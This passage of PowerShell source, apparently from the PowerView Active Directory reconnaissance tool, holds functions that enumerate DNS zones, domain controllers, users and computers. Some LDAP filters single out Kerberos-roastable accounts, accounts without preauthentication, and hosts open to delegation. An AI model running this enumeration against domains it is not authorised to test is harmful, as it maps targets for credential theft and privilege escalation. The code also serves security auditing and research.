3412 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
3413 }
3414
3415 elseif ($RDataType -eq 28) {
3416 # TODO: how to implement properly? nested object?
3417 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
3418 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
3419 }
3420
3421 elseif ($RDataType -eq 33) {
3422 # TODO: how to implement properly? nested object?
3423 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
3424 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
3425 }
3426
3427 else {
3428 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
3429 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
3430 }
3431
3432 $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
3433 $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
3434 $DNSRecordObject | Add-Member Noteproperty 'Age' $Age
3435 $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
3436 $DNSRecordObject | Add-Member Noteproperty 'Data' $Data
3437 $DNSRecordObject
3438 }
3439}
3440
3441function Get-DomainDNSZone {
3442
3443
3444 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
3445 [OutputType('PowerView.DNSZone')]
3446 [CmdletBinding()]
3447 Param(
3448 [Parameter(Position = 0, ValueFromPipeline = $True)]
3449 [ValidateNotNullOrEmpty()]
3450 [String]
3451 $Domain,
3452
3453 [ValidateNotNullOrEmpty()]
3454 [Alias('DomainController')]
3455 [String]
3456 $Server,
3457
3458 [ValidateNotNullOrEmpty()]
3459 [String[]]
3460 $Properties,
3461
3462 [ValidateRange(1, 10000)]
3463 [Int]
3464 $ResultPageSize = 200,
3465
3466 [ValidateRange(1, 10000)]
3467 [Int]
3468 $ServerTimeLimit,
3469
3470 [Alias('ReturnOne')]
3471 [Switch]
3472 $FindOne,
3473
3474 [Management.Automation.PSCredential]
3475 [Management.Automation.CredentialAttribute()]
3476 $Credential = [Management.Automation.PSCredential]::Empty
3477 )
3478
3479 PROCESS {
3480 $SearcherArguments = @{
3481 'LDAPFilter' = '(objectClass=dnsZone)'
3482 }
3483 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
3484 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
3485 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
3486 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
3487 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
3488 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
3489 $DNSSearcher1 = Get-DomainSearcher @SearcherArguments
3490
3491 if ($DNSSearcher1) {
3492 if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() }
3493 else { $Results = $DNSSearcher1.FindAll() }
3494 $Results | Where-Object {$_} | ForEach-Object {
3495 $Out = Convert-LDAPProperty -Properties $_.Properties
3496 $Out | Add-Member NoteProperty 'ZoneName' $Out.name
3497 $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
3498 $Out
3499 }
3500
3501 if ($Results) {
3502 try { $Results.dispose() }
3503 catch {
3504 Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
3505 }
3506 }
3507 $DNSSearcher1.dispose()
3508 }
3509
3510 $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones'
3511 $DNSSearcher2 = Get-DomainSearcher @SearcherArguments
3512
3513 if ($DNSSearcher2) {
3514 try {
3515 if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() }
3516 else { $Results = $DNSSearcher2.FindAll() }
3517 $Results | Where-Object {$_} | ForEach-Object {
3518 $Out = Convert-LDAPProperty -Properties $_.Properties
3519 $Out | Add-Member NoteProperty 'ZoneName' $Out.name
3520 $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
3521 $Out
3522 }
3523 if ($Results) {
3524 try { $Results.dispose() }
3525 catch {
3526 Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_"
3527 }
3528 }
3529 }
3530 catch {
3531 Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'"
3532 }
3533 $DNSSearcher2.dispose()
3534 }
3535 }
3536}
3537
3538function Get-DomainDNSRecord {
3539
3540
3541 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
3542 [OutputType('PowerView.DNSRecord')]
3543 [CmdletBinding()]
3544 Param(
3545 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
3546 [ValidateNotNullOrEmpty()]
3547 [String]
3548 $ZoneName,
3549
3550 [ValidateNotNullOrEmpty()]
3551 [String]
3552 $Domain,
3553
3554 [ValidateNotNullOrEmpty()]
3555 [Alias('DomainController')]
3556 [String]
3557 $Server,
3558
3559 [ValidateNotNullOrEmpty()]
3560 [String[]]
3561 $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged',
3562
3563 [ValidateRange(1, 10000)]
3564 [Int]
3565 $ResultPageSize = 200,
3566
3567 [ValidateRange(1, 10000)]
3568 [Int]
3569 $ServerTimeLimit,
3570
3571 [Alias('ReturnOne')]
3572 [Switch]
3573 $FindOne,
3574
3575 [Management.Automation.PSCredential]
3576 [Management.Automation.CredentialAttribute()]
3577 $Credential = [Management.Automation.PSCredential]::Empty
3578 )
3579
3580 PROCESS {
3581 $SearcherArguments = @{
3582 'LDAPFilter' = '(objectClass=dnsNode)'
3583 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
3584 }
3585 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
3586 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
3587 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
3588 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
3589 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
3590 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
3591 $DNSSearcher = Get-DomainSearcher @SearcherArguments
3592
3593 if ($DNSSearcher) {
3594 if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() }
3595 else { $Results = $DNSSearcher.FindAll() }
3596 $Results | Where-Object {$_} | ForEach-Object {
3597 try {
3598 $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
3599 $Out | Add-Member NoteProperty 'ZoneName' $ZoneName
3600
3601 # convert the record and extract the properties
3602 if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
3603 # TODO: handle multiple nested records properly?
3604 $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]
3605 }
3606 else {
3607 $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord
3608 }
3609
3610 if ($Record) {
3611 $Record.PSObject.Properties | ForEach-Object {
3612 $Out | Add-Member NoteProperty $_.Name $_.Value
3613 }
3614 }
3615
3616 $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord')
3617 $Out
3618 }
3619 catch {
3620 Write-Warning "[Get-DomainDNSRecord] Error: $_"
3621 $Out
3622 }
3623 }
3624
3625 if ($Results) {
3626 try { $Results.dispose() }
3627 catch {
3628 Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_"
3629 }
3630 }
3631 $DNSSearcher.dispose()
3632 }
3633 }
3634}
3635
3636function Get-Domain {
3637
3638
3639 [OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
3640 [CmdletBinding()]
3641 Param(
3642 [Parameter(Position = 0, ValueFromPipeline = $True)]
3643 [ValidateNotNullOrEmpty()]
3644 [String]
3645 $Domain,
3646
3647 [Management.Automation.PSCredential]
3648 [Management.Automation.CredentialAttribute()]
3649 $Credential = [Management.Automation.PSCredential]::Empty
3650 )
3651
3652 PROCESS {
3653 if ($PSBoundParameters['Credential']) {
3654
3655 Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
3656
3657 if ($PSBoundParameters['Domain']) {
3658 $TargetDomain = $Domain
3659 }
3660 else {
3661 # if no domain is supplied, extract the logon domain from the PSCredential passed
3662 $TargetDomain = $Credential.GetNetworkCredential().Domain
3663 Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
3664 }
3665
3666 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
3667
3668 try {
3669 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
3670 }
3671 catch {
3672 Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
3673 }
3674 }
3675 elseif ($PSBoundParameters['Domain']) {
3676 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
3677 try {
3678 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
3679 }
3680 catch {
3681 Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
3682 }
3683 }
3684 else {
3685 try {
3686 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
3687 }
3688 catch {
3689 Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
3690 }
3691 }
3692 }
3693}
3694
3695function Get-DomainController {
3696
3697
3698 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
3699 [OutputType('PowerView.Computer')]
3700 [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
3701 [CmdletBinding()]
3702 Param(
3703 [Parameter(Position = 0, ValueFromPipeline = $True)]
3704 [String]
3705 $Domain,
3706
3707 [ValidateNotNullOrEmpty()]
3708 [Alias('DomainController')]
3709 [String]
3710 $Server,
3711
3712 [Switch]
3713 $LDAP,
3714
3715 [Management.Automation.PSCredential]
3716 [Management.Automation.CredentialAttribute()]
3717 $Credential = [Management.Automation.PSCredential]::Empty
3718 )
3719
3720 PROCESS {
3721 $Arguments = @{}
3722 if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
3723 if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
3724
3725 if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {
3726 if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
3727
3728 # UAC specification for domain controllers
3729 $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
3730
3731 Get-DomainComputer @Arguments
3732 }
3733 else {
3734 $FoundDomain = Get-Domain @Arguments
3735 if ($FoundDomain) {
3736 $FoundDomain.DomainControllers
3737 }
3738 }
3739 }
3740}
3741
3742function Get-DomainUser {
3743
3744
3745 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
3746 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
3747 [OutputType('PowerView.User')]
3748 [OutputType('PowerView.User.Raw')]
3749 [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
3750 Param(
3751 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
3752 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
3753 [String[]]
3754 $Identity,
3755
3756 [Switch]
3757 $SPN,
3758
3759 [Switch]
3760 $AdminCount,
3761
3762 [Parameter(ParameterSetName = 'AllowDelegation')]
3763 [Switch]
3764 $AllowDelegation,
3765
3766 [Parameter(ParameterSetName = 'DisallowDelegation')]
3767 [Switch]
3768 $DisallowDelegation,
3769
3770 [Switch]
3771 $TrustedToAuth,
3772
3773 [Alias('KerberosPreauthNotRequired', 'NoPreauth')]
3774 [Switch]
3775 $PreauthNotRequired,
3776
3777 [ValidateNotNullOrEmpty()]
3778 [String]
3779 $Domain,
3780
3781 [ValidateNotNullOrEmpty()]
3782 [Alias('Filter')]
3783 [String]
3784 $LDAPFilter,
3785
3786 [ValidateNotNullOrEmpty()]
3787 [String[]]
3788 $Properties,
3789
3790 [ValidateNotNullOrEmpty()]
3791 [Alias('ADSPath')]
3792 [String]
3793 $SearchBase,
3794
3795 [ValidateNotNullOrEmpty()]
3796 [Alias('DomainController')]
3797 [String]
3798 $Server,
3799
3800 [ValidateSet('Base', 'OneLevel', 'Subtree')]
3801 [String]
3802 $SearchScope = 'Subtree',
3803
3804 [ValidateRange(1, 10000)]
3805 [Int]
3806 $ResultPageSize = 200,
3807
3808 [ValidateRange(1, 10000)]
3809 [Int]
3810 $ServerTimeLimit,
3811
3812 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
3813 [String]
3814 $SecurityMasks,
3815
3816 [Switch]
3817 $Tombstone,
3818
3819 [Alias('ReturnOne')]
3820 [Switch]
3821 $FindOne,
3822
3823 [Management.Automation.PSCredential]
3824 [Management.Automation.CredentialAttribute()]
3825 $Credential = [Management.Automation.PSCredential]::Empty,
3826
3827 [Switch]
3828 $Raw
3829 )
3830
3831 DynamicParam {
3832 $UACValueNames = [Enum]::GetNames($UACEnum)
3833 # add in the negations
3834 $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
3835 # create new dynamic parameter
3836 New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
3837 }
3838
3839 BEGIN {
3840 $SearcherArguments = @{}
3841 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
3842 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
3843 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
3844 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
3845 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
3846 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
3847 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
3848 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
3849 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
3850 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
3851 $UserSearcher = Get-DomainSearcher @SearcherArguments
3852 }
3853
3854 PROCESS {
3855 #bind dynamic parameter to a friendly variable
3856 if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
3857 New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
3858 }
3859
3860 if ($UserSearcher) {
3861 $IdentityFilter = ''
3862 $Filter = ''
3863 $Identity | Where-Object {$_} | ForEach-Object {
3864 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
3865 if ($IdentityInstance -match '^S-1-') {
3866 $IdentityFilter += "(objectsid=$IdentityInstance)"
3867 }
3868 elseif ($IdentityInstance -match '^CN=') {
3869 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
3870 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
3871 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
3872 # and rebuild the domain searcher
3873 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
3874 Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
3875 $SearcherArguments['Domain'] = $IdentityDomain
3876 $UserSearcher = Get-DomainSearcher @SearcherArguments
3877 if (-not $UserSearcher) {
3878 Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
3879 }
3880 }
3881 }
3882 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
3883 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
3884 $IdentityFilter += "(objectguid=$GuidByteString)"
3885 }
3886 elseif ($IdentityInstance.Contains('\')) {
3887 $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
3888 if ($ConvertedIdentityInstance) {
3889 $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
3890 $UserName = $IdentityInstance.Split('\')[1]
3891 $IdentityFilter += "(samAccountName=$UserName)"
3892 $SearcherArguments['Domain'] = $UserDomain
3893 Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
3894 $UserSearcher = Get-DomainSearcher @SearcherArguments
3895 }
3896 }
3897 else {
3898 $IdentityFilter += "(samAccountName=$IdentityInstance)"
3899 }
3900 }
3901
3902 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
3903 $Filter += "(|$IdentityFilter)"
3904 }
3905
3906 if ($PSBoundParameters['SPN']) {
3907 Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
3908 $Filter += '(servicePrincipalName=*)'
3909 }
3910 if ($PSBoundParameters['AllowDelegation']) {
3911 Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
3912 # negation of "Accounts that are sensitive and not trusted for delegation"
3913 $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
3914 }
3915 if ($PSBoundParameters['DisallowDelegation']) {
3916 Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
3917 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
3918 }
3919 if ($PSBoundParameters['AdminCount']) {
3920 Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
3921 $Filter += '(admincount=1)'
3922 }
3923 if ($PSBoundParameters['TrustedToAuth']) {
3924 Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
3925 $Filter += '(msds-allowedtodelegateto=*)'
3926 }
3927 if ($PSBoundParameters['PreauthNotRequired']) {
3928 Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
3929 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
3930 }
3931 if ($PSBoundParameters['LDAPFilter']) {
3932 Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
3933 $Filter += "$LDAPFilter"
3934 }
3935
3936 # build the LDAP filter for the dynamic UAC filter value
3937 $UACFilter | Where-Object {$_} | ForEach-Object {
3938 if ($_ -match 'NOT_.*') {
3939 $UACField = $_.Substring(4)
3940 $UACValue = [Int]($UACEnum::$UACField)
3941 $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
3942 }
3943 else {
3944 $UACValue = [Int]($UACEnum::$_)
3945 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
3946 }
3947 }
3948
3949 $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
3950 Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
3951
3952 if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
3953 else { $Results = $UserSearcher.FindAll() }
3954 $Results | Where-Object {$_} | ForEach-Object {
3955 if ($PSBoundParameters['Raw']) {
3956 # return raw result objects
3957 $User = $_
3958 $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
3959 }
3960 else {
3961 $User = Convert-LDAPProperty -Properties $_.Properties
3962 $User.PSObject.TypeNames.Insert(0, 'PowerView.User')
3963 }
3964 $User
3965 }
3966 if ($Results) {
3967 try { $Results.dispose() }
3968 catch {
3969 Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
3970 }
3971 }
3972 $UserSearcher.dispose()
3973 }
3974 }
3975}
3976
3977function Get-DomainComputer {
3978
3979
3980 [OutputType('PowerView.Computer')]
3981 [OutputType('PowerView.Computer.Raw')]
3982 [CmdletBinding()]
3983 Param (
3984 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
3985 [Alias('SamAccountName', 'Name', 'DNSHostName')]
3986 [String[]]
3987 $Identity,
3988
3989 [Switch]
3990 $Unconstrained,
3991
3992 [Switch]
3993 $TrustedToAuth,
3994
3995 [Switch]
3996 $Printers,
3997
3998 [ValidateNotNullOrEmpty()]
3999 [Alias('ServicePrincipalName')]
4000 [String]
4001 $SPN,
4002
4003 [ValidateNotNullOrEmpty()]
4004 [String]
4005 $OperatingSystem,
4006
4007 [ValidateNotNullOrEmpty()]
4008 [String]
4009 $ServicePack,
4010
4011 [ValidateNotNullOrEmpty()]
4012 [String]
4013 $SiteName,
4014
4015 [Switch]
4016 $Ping,
4017
4018 [ValidateNotNullOrEmpty()]
4019 [String]
4020 $Domain,
4021
4022 [ValidateNotNullOrEmpty()]
4023 [Alias('Filter')]
4024 [String]
4025 $LDAPFilter,
4026
4027 [ValidateNotNullOrEmpty()]
4028 [String[]]
4029 $Properties,
4030
4031 [ValidateNotNullOrEmpty()]
4032 [Alias('ADSPath')]
4033 [String]
4034 $SearchBase,
4035
4036 [ValidateNotNullOrEmpty()]
4037 [Alias('DomainController')]
4038 [String]
4039 $Server,
4040
4041 [ValidateSet('Base', 'OneLevel', 'Subtree')]
4042 [String]
4043 $SearchScope = 'Subtree',
4044
4045 [ValidateRange(1, 10000)]
4046 [Int]
4047 $ResultPageSize = 200,
4048
4049 [ValidateRange(1, 10000)]
4050 [Int]
4051 $ServerTimeLimit,
4052
4053 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
4054 [String]
4055 $SecurityMasks,
4056
4057 [Switch]
4058 $Tombstone,
4059
4060 [Alias('ReturnOne')]
4061 [Switch]
4062 $FindOne,
4063
4064 [Management.Automation.PSCredential]
4065 [Management.Automation.CredentialAttribute()]
4066 $Credential = [Management.Automation.PSCredential]::Empty,
4067
4068 [Switch]
4069 $Raw
4070 )
4071
4072 DynamicParam {
4073 $UACValueNames = [Enum]::GetNames($UACEnum)
4074 # add in the negations
4075 $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
4076 # create new dynamic parameter
4077 New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
4078 }
4079
4080 BEGIN {
4081 $SearcherArguments = @{}
4082 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
4083 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
4084 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
4085 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
4086 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
4087 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
4088 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
4089 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
4090 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
4091 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
4092 $CompSearcher = Get-DomainSearcher @SearcherArguments
4093 }
4094
4095 PROCESS {
4096 #bind dynamic parameter to a friendly variable
4097 if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
4098 New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
4099 }
4100
4101 if ($CompSearcher) {
4102 $IdentityFilter = ''
4103 $Filter = ''
4104 $Identity | Where-Object {$_} | ForEach-Object {
4105 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
4106 if ($IdentityInstance -match '^S-1-') {
4107 $IdentityFilter += "(objectsid=$IdentityInstance)"
4108 }
4109 elseif ($IdentityInstance -match '^CN=') {
4110 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
4111 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
4112 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
4113 # and rebuild the domain searcher
4114 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
4115 Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
4116 $SearcherArguments['Domain'] = $IdentityDomain
4117 $CompSearcher = Get-DomainSearcher @SearcherArguments
4118 if (-not $CompSearcher) {
4119 Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'"
4120 }
4121 }
4122 }
4123 elseif ($IdentityInstance.Contains('.')) {
4124 $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
4125 }
4126 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
4127 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
4128 $IdentityFilter += "(objectguid=$GuidByteString)"
4129 }
4130 else {
4131 $IdentityFilter += "(name=$IdentityInstance)"
4132 }
4133 }
4134 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
4135 $Filter += "(|$IdentityFilter)"
4136 }
4137
4138 if ($PSBoundParameters['Unconstrained']) {
4139 Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'
4140 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
4141 }
4142 if ($PSBoundParameters['TrustedToAuth']) {
4143 Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'
4144 $Filter += '(msds-allowedtodelegateto=*)'
4145 }
4146 if ($PSBoundParameters['Printers']) {
4147 Write-Verbose '[Get-DomainComputer] Searching for printers'
4148 $Filter += '(objectCategory=printQueue)'
4149 }
4150 if ($PSBoundParameters['SPN']) {
4151 Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
4152 $Filter += "(servicePrincipalName=$SPN)"
4153 }
4154 if ($PSBoundParameters['OperatingSystem']) {
4155 Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
4156 $Filter += "(operatingsystem=$OperatingSystem)"
4157 }
4158 if ($PSBoundParameters['ServicePack']) {
4159 Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"
4160 $Filter += "(operatingsystemservicepack=$ServicePack)"
4161 }
4162 if ($PSBoundParameters['SiteName']) {
4163 Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"
4164 $Filter += "(serverreferencebl=$SiteName)"
4165 }
4166 if ($PSBoundParameters['LDAPFilter']) {
4167 Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
4168 $Filter += "$LDAPFilter"
4169 }
4170 # build the LDAP filter for the dynamic UAC filter value
4171 $UACFilter | Where-Object {$_} | ForEach-Object {
4172 if ($_ -match 'NOT_.*') {
4173 $UACField = $_.Substring(4)
4174 $UACValue = [Int]($UACEnum::$UACField)
4175 $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
4176 }
4177 else {
4178 $UACValue = [Int]($UACEnum::$_)
4179 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
4180 }
4181 }
4182
4183 $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)"
4184 Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"
4185
4186 if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }
4187 else { $Results = $CompSearcher.FindAll() }
4188 $Results | Where-Object {$_} | ForEach-Object {
4189 $Up = $True
4190 if ($PSBoundParameters['Ping']) {
4191 $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
4192 }
4193 if ($Up) {
4194 if ($PSBoundParameters['Raw']) {
4195 # return raw result objects
4196 $Computer = $_
4197 $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
4198 }
4199 else {
4200 $Computer = Convert-LDAPProperty -Properties $_.Properties
4201 $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
4202 }
4203 $Computer
4204 }
4205 }
4206 if ($Results) {
4207 try { $Results.dispose() }
4208 catch {
4209 Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
4210 }
4211 }
4212 $CompSearcher.dispose()
4213 }
4214 }
4215}
4216
4217function Get-DomainObject {
4218
4219
4220 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
4221 [OutputType('PowerView.ADObject')]
4222 [OutputType('PowerView.ADObject.Raw')]
4223 [CmdletBinding()]
4224 Param(
4225 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
4226 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
4227 [String[]]
4228 $Identity,
4229
4230 [ValidateNotNullOrEmpty()]
4231 [String]
